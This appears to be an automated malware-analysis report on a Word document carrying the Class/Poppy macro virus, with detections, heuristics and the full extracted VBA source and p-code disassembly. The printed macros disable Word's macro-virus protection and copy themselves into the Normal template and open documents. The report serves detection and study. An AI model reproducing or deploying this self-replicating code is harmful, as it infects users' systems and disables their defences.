MALICIOUS
256
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose functions, indicating malicious intent. The VBA script attempts to export a component to 'c:\class.sys' and then import it back into the NormalTemplate, likely to establish persistence or download a second-stage payload. The ClamAV detections further confirm its malicious nature.
Heuristics 6
-
ClamAV: Doc.Trojan.Class-37 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Class-37
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 16823 bytes |
SHA-256: 39076ac2450a04622e6653160292e4fb00bf3693d0ffdbe38a10cd9b7662575f |
|||
|
Detection
ClamAV:
Doc.Trojan.Class-5
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Sub AutoClose()
On Error GoTo out
On Error GoTo out
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
Options.ConfirmConversions = False
If nt > 70 And ad > 0 Then GoTo out
ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
If nt < 70 Then
Set host = NormalTemplate.VBProject.VBComponents.Item(1)
nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name
If nt > 70 And ad > 0 Then GoTo out
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"
End If
If nt < 70 Then
If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)
Set host = NormalTemplate.VBProject.VBComponents.Item(1)
If Day(Now) = 14 And (Month(Now) > 5) Then MsgBox "I Think " & Application.UserName & " is a big stupid jerk!", 0, "VicodinES Loves You / Class.Poppy"
host.codemodule.AddFromFile ("c:\class.sys")
ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name
With host.codemodule
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"
For x = 1 To 4
.deletelines 1
End If
Next x
If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)
End With
If nt < 70 Then
If Day(Now) = 14 And (Month(Now) > 5) Then MsgBox "I Think " & Application.UserName & " is a big stupid jerk!", 0, "VicodinES Loves You / Class.Poppy"
With host.codemodule
host.codemodule.AddFromFile ("c:\class.sys")
.replaceline 1, "Sub AutoClose()"
.replaceline 71, "Sub ToolsMacro()"
With host.codemodule
End With
For x = 1 To 4
End If
With host.codemodule
.deletelines 1
For x = 2 To 72 Step 2
Next x
.replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow & Application.Assistant
Next x
End With
End With
If nt < 70 Then
out:
If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
With host.codemodule
End Sub
.replaceline 1, "Sub AutoClose()"
Sub ViewVBCode()
End Sub
.replaceline 71, "Sub ToolsMacro()"
End With
End If
With host.codemodule
For x = 2 To 72 Step 2
.replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow & Application.Assistant
Next x
End With
out:
If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
Sub ToolsMacro()
End Sub
Private Sub Document_Close()
On Error GoTo skam
Options.VirusProtection = False
SWLABS99
skam:
End Sub
Private Sub SWLABS99()
If Not ActiveDocument.VBProject.VBComponents(1).codemodule.Find("Document_Close", 1, 1, 1000, 1000, False, False) Then
For i = 1 To NormalTemplate.VBProject.VBComponents(1).codemodule.CountOfLines
d = NormalTemplate.VBProject.VBComponents(1).codemodule.Lines(i, 1)
If Len(d) > 0 And Not d = " " And Not d = " _" And Not d = "" And Not Mid(d, 1, 1) = "'" Then
While Mid(d, Len(d) - 1, 2) = " _"
i = i + 1
d = Left(d, Len(d) - 1) & NormalTemplate.VBProject.VBComponents(1).codemodule.Lines(i, 1)
Wend
ActiveDocument.VBProject.VBComponents(1).codemodule.InsertLines i * 2, d
End If
Next i
ActiveDocument.SaveAs AddToRecentFiles:=False
Else
If Not NormalTemplate.VBProject.VBComponents(1).codemodule.Find("Document_Close", 1, 1, 1000, 1000, False, False) Then
For i = 1 To ActiveDocument.VBProject.VBComponents(1).codemodule.CountOfLines
d = ActiveDocument.VBProject.VBComponents(1).codemodule.Lines(i, 1)
If Len(d) > 0 And Not d = " " And Not d = " _" And Not d = "" And Not Mid(d, 1, 1) = "'" Then
While Mid(d, Len(d) - 1, 2) = " _"
i = i + 1
d = Left(d, Len(d) - 1) & ActiveDocument.VBProject.VBComponents(1).codemodule.Lines(i, 1)
Wend
NormalTemplate.VBProject.VBComponents(1).codemodule.InsertLines i * 2, d
End If
Next i
NormalTemplate.Save
End If
End If
End Sub
' Processing file: /tmp/qstore_p8duclx3
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 7316 bytes
' Line #0:
' FuncDefn (Sub AutoOpen())
' Line #1:
' FuncDefn (Sub AutoClose())
' Line #2:
' OnError out
' Line #3:
' OnError out
' Line #4:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #5:
' LitVarSpecial (False)
' Ld Options
' MemSt SaveNormalPrompt
' Line #6:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #7:
' LitVarSpecial (False)
' Ld Options
' MemSt ConfirmConversions
' Line #8:
' LitVarSpecial (False)
' Ld Options
' MemSt SaveNormalPrompt
' Line #9:
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' MemLd CountOfLines
' St ad
' Line #10:
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' MemLd CountOfLines
' St nt
' Line #11:
' LitVarSpecial (False)
' Ld Options
' MemSt ConfirmConversions
' Line #12:
' Ld nt
' LitDI2 0x0046
' Gt
' Ld ad
' LitDI2 0x0000
' Gt
' And
' If
' BoSImplicit
' GoTo out
' EndIf
' Line #13:
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' MemLd CountOfLines
' St ad
' Line #14:
' Ld nt
' LitDI2 0x0046
' Lt
' IfBlock
' Line #15:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set host
' Line #16:
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' MemLd CountOfLines
' St nt
' Line #17:
' Ld host
' MemLd New
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemSt New
' Line #18:
' Ld nt
' LitDI2 0x0046
' Gt
' Ld ad
' LitDI2 0x0000
' Gt
' And
' If
' BoSImplicit
' GoTo out
' EndIf
' Line #19:
' LitStr 0x000C "c:\class.sys"
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' ArgsMemCall Export 0x0001
' Line #20:
' EndIfBlock
' Line #21:
' Ld nt
' LitDI2 0x0046
' Lt
' IfBlock
' Line #22:
' Ld ad
' LitDI2 0x0000
' Eq
' If
' BoSImplicit
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set host
' EndIf
' Line #23:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set host
' Line #24:
' Ld Now
' ArgsLd Day 0x0001
' LitDI2 0x000E
' Eq
' Ld Now
' ArgsLd Month 0x0001
' LitDI2 0x0005
' Gt
' Paren
' And
' If
' BoSImplicit
' LitStr 0x0008 "I Think "
' Ld Application
' MemLd UserName
' Concat
' LitStr 0x0016 " is a big stupid jerk!"
' Concat
' LitDI2 0x0000
' LitStr 0x0021 "VicodinES Loves You / Class.Poppy"
' ArgsCall MsgBox 0x0003
' EndIf
' Line #25:
' LitStr 0x000C "c:\class.sys"
' Paren
' Ld host
' MemLd codemodule
' ArgsMemCall AddFromFile 0x0001
' Line #26:
' Ld host
' MemLd New
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemSt New
' Line #27:
' StartWithExpr
' Ld host
' MemLd codemodule
' With
' Line #28:
' LitStr 0x000C "c:\class.sys"
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' ArgsMemCall Export 0x0001
' Line #29:
' StartForVariable
' Ld x
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0004
' For
' Line #30:
' LitDI2 0x0001
' ArgsMemCallWith deletelines 0x0001
' Line #31:
' EndIfBlock
' Line #32:
' StartForVariable
' Ld x
' EndForVariable
' NextVar
' Line #33:
' Ld ad
' LitDI2 0x0000
' Eq
' If
' BoSImplicit
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set host
' EndIf
' Line #34:
' EndWith
' Line #35:
' Ld nt
' LitDI2 0x0046
' Lt
' IfBlock
' Line #36:
' Ld Now
' ArgsLd Day 0x0001
' LitDI2 0x000E
' Eq
' Ld Now
' ArgsLd Month 0x0001
' LitDI2 0x0005
' Gt
' Paren
' And
' If
' BoSImplicit
' LitStr 0x0008 "I Think "
' Ld Application
' MemLd UserName
' Concat
' LitStr 0x0016 " is a big stupid jerk!"
' Concat
' LitDI2 0x0000
' LitStr 0x0021 "VicodinES Loves You / Class.Poppy"
' ArgsCall MsgBox 0x0003
' EndIf
' Line #37:
' StartWithExpr
' Ld host
' MemLd codemodule
' With
' Line #38:
' LitStr 0x000C "c:\class.sys"
' Paren
' Ld host
' MemLd codemodule
' ArgsMemCall AddFromFile 0x0001
' Line #39:
' LitDI2 0x0001
' LitStr 0x000F "Sub AutoClose()"
' ArgsMemCallWith replaceline 0x0002
' Line #40:
' LitDI2 0x0047
' LitStr 0x0010 "Sub ToolsMacro()"
' ArgsMemCallWith replaceline 0x0002
' Line #41:
' StartWithExpr
' Ld host
' MemLd codemodule
' With
' Line #42:
' EndWith
' Line #43:
' StartForVariable
' Ld x
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0004
' For
' Line #44:
' EndIfBlock
' Line #45:
' StartWithExpr
' Ld host
' MemLd codemodule
' With
' Line #46:
' LitDI2 0x0001
' ArgsMemCallWith deletelines 0x0001
' Line #47:
' StartForVariable
' Ld x
' EndForVariable
' LitDI2 0x0002
' LitDI2 0x0048
' LitDI2 0x0002
' ForStep
' Line #48:
' StartForVariable
' Ld x
' EndForVariable
' NextVar
' Line #49:
' Ld x
' LitStr 0x0001 "'"
' Ld Application
' MemLd UserName
' Concat
' Ld Now
' Concat
' Ld Application
' MemLd ActivePrinter
' Concat
' Ld Application
' MemLd ActiveWindow
' Concat
' Ld Application
' MemLd Assistant
' Concat
' ArgsMemCallWith replaceline 0x0002
' Line #50:
' StartForVariable
' Ld x
' EndForVariable
' NextVar
' Line #51:
' EndWith
' Line #52:
' EndWith
' Line #53:
' Ld nt
' LitDI2 0x0046
' Lt
' IfBlock
' Line #54:
' Label out
' Line #55:
' Ld nt
' LitDI2 0x0046
' Gt
' Ld ad
' LitDI2 0x0000
' Eq
' And
' If
' BoSImplicit
' Ld ActiveDocument
' MemLd FullName
' ParamNamed FileName
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0001
' EndIf
' Line #56:
' StartWithExpr
' Ld host
' MemLd codemodule
' With
' Line #57:
' EndSub
' Line #58:
' LitDI2 0x0001
' LitStr 0x000F "Sub AutoClose()"
' ArgsMemCallWith replaceline 0x0002
' Line #59:
' FuncDefn (Sub ViewVBCode())
' Line #60:
' EndSub
' Line #61:
' LitDI2 0x0047
' LitStr 0x0010 "Sub ToolsMacro()"
' ArgsMemCallWith replaceline 0x0002
' Line #62:
' EndWith
' Line #63:
' EndIfBlock
' Line #64:
' StartWithExpr
' Ld host
' MemLd codemodule
' With
' Line #65:
' StartForVariable
' Ld x
' EndForVariable
' LitDI2 0x0002
' LitDI2 0x0048
' LitDI2 0x0002
' ForStep
' Line #66:
' Ld x
' LitStr 0x0001 "'"
' Ld Application
' MemLd UserName
' Concat
' Ld Now
' Concat
' Ld Application
' MemLd ActivePrinter
' Concat
' Ld Application
' MemLd ActiveWindow
' Concat
' Ld Application
' MemLd Assistant
' Concat
' ArgsMemCallWith replaceline 0x0002
' Line #67:
' StartForVariable
' Ld x
' EndForVariable
' NextVar
' Line #68:
' EndWith
' Line #69:
' Label out
' Line #70:
' Ld nt
' LitDI2 0x0046
' Gt
' Ld ad
' LitDI2 0x0000
' Eq
' And
' If
' BoSImplicit
' Ld ActiveDocument
' MemLd FullName
' ParamNamed FileName
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0001
' EndIf
' Line #71:
' EndSub
' Line #72:
' FuncDefn (Sub ToolsMacro())
' Line #73:
' EndSub
' Line #74:
' FuncDefn (Private Sub Document_Close())
' Line #75:
' OnError skam
' Line #76:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #77:
' ArgsCall SWLABS99 0x0000
' Line #78:
' Label skam
' Line #79:
' EndSub
' Line #80:
' FuncDefn (Private Sub SWLABS99())
' Line #81:
' LitStr 0x000E "Document_Close"
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x03E8
' LitDI2 0x03E8
' LitVarSpecial (False)
' LitVarSpecial (False)
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd codemodule
' ArgsMemLd Find 0x0007
' Not
' IfBlock
' Line #82:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd codemodule
' MemLd CountOfLines
' For
' Line #83:
' Ld i
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd codemodule
' ArgsMemLd Lines 0x0002
' St d
' Line #84:
' Ld d
' FnLen
' LitDI2 0x0000
' Gt
' Ld d
' LitStr 0x0001 " "
' Eq
' Not
' And
' Ld d
' LitStr 0x0002 " _"
' Eq
' Not
' And
' Ld d
' LitStr 0x0000 ""
' Eq
' Not
' And
' Ld d
' LitDI2 0x0001
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitStr 0x0001 "'"
' Eq
' Not
' And
' IfBlock
' Line #85:
' Ld d
' Ld d
' FnLen
' LitDI2 0x0001
' Sub
' LitDI2 0x0002
' ArgsLd Mid$ 0x0003
' LitStr 0x0002 " _"
' Eq
' While
' Line #86:
' Ld i
' LitDI2 0x0001
' Add
' St i
' Line #87:
' Ld d
' Ld d
' FnLen
' LitDI2 0x0001
' Sub
' ArgsLd LBound 0x0002
' Ld i
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd codemodule
' ArgsMemLd Lines 0x0002
' Concat
' St d
' Line #88:
' Wend
' Line #89:
' Ld i
' LitDI2 0x0002
' Mul
' Ld d
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd codemodule
' ArgsMemCall InsertLines 0x0002
' Line #90:
' EndIfBlock
' Line #91:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #92:
' LitVarSpecial (False)
' ParamNamed AddToRecentFiles
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0001
' Line #93:
' ElseBlock
' Line #94:
' LitStr 0x000E "Document_Close"
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x03E8
' LitDI2 0x03E8
' LitVarSpecial (False)
' LitVarSpecial (False)
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd codemodule
' ArgsMemLd Find 0x0007
' Not
' IfBlock
' Line #95:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd codemodule
' MemLd CountOfLines
' For
' Line #96:
' Ld i
' LitDI2 0x0001
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd codemodule
' ArgsMemLd Lines 0x0002
' St d
' Line #97:
' Ld d
' FnLen
' LitDI2 0x0000
' Gt
' Ld d
' LitStr 0x0001 " "
' Eq
' Not
' And
' Ld d
' LitStr 0x0002 " _"
' Eq
' Not
' And
' Ld d
' LitStr 0x0000 ""
' Eq
' Not
' And
' Ld d
' LitDI2 0x0001
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitStr 0x0001 "'"
' Eq
' Not
' And
' IfBlock
' Line #98:
' Ld d
' Ld d
' FnLen
' LitDI2 0x0001
' Sub
' LitDI2 0x0002
' ArgsLd Mid$ 0x0003
' LitStr 0x0002 " _"
' Eq
' While
' Line #99:
' Ld i
' LitDI2 0x0001
' Add
' St i
' Line #100:
' Ld d
' Ld d
' FnLen
' LitDI2 0x0001
' Sub
' ArgsLd LBound 0x0002
' Ld i
' LitDI2 0x0001
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd codemodule
' ArgsMemLd Lines 0x0002
' Concat
' St d
' Line #101:
' Wend
' Line #102:
' Ld i
' LitDI2 0x0002
' Mul
' Ld d
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd codemodule
' ArgsMemCall InsertLines 0x0002
' Line #103:
' EndIfBlock
' Line #104:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #105:
' Ld NormalTemplate
' ArgsMemCall Save 0x0000
' Line #106:
' EndIfBlock
' Line #107:
' EndIfBlock
' Line #108:
' EndSub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.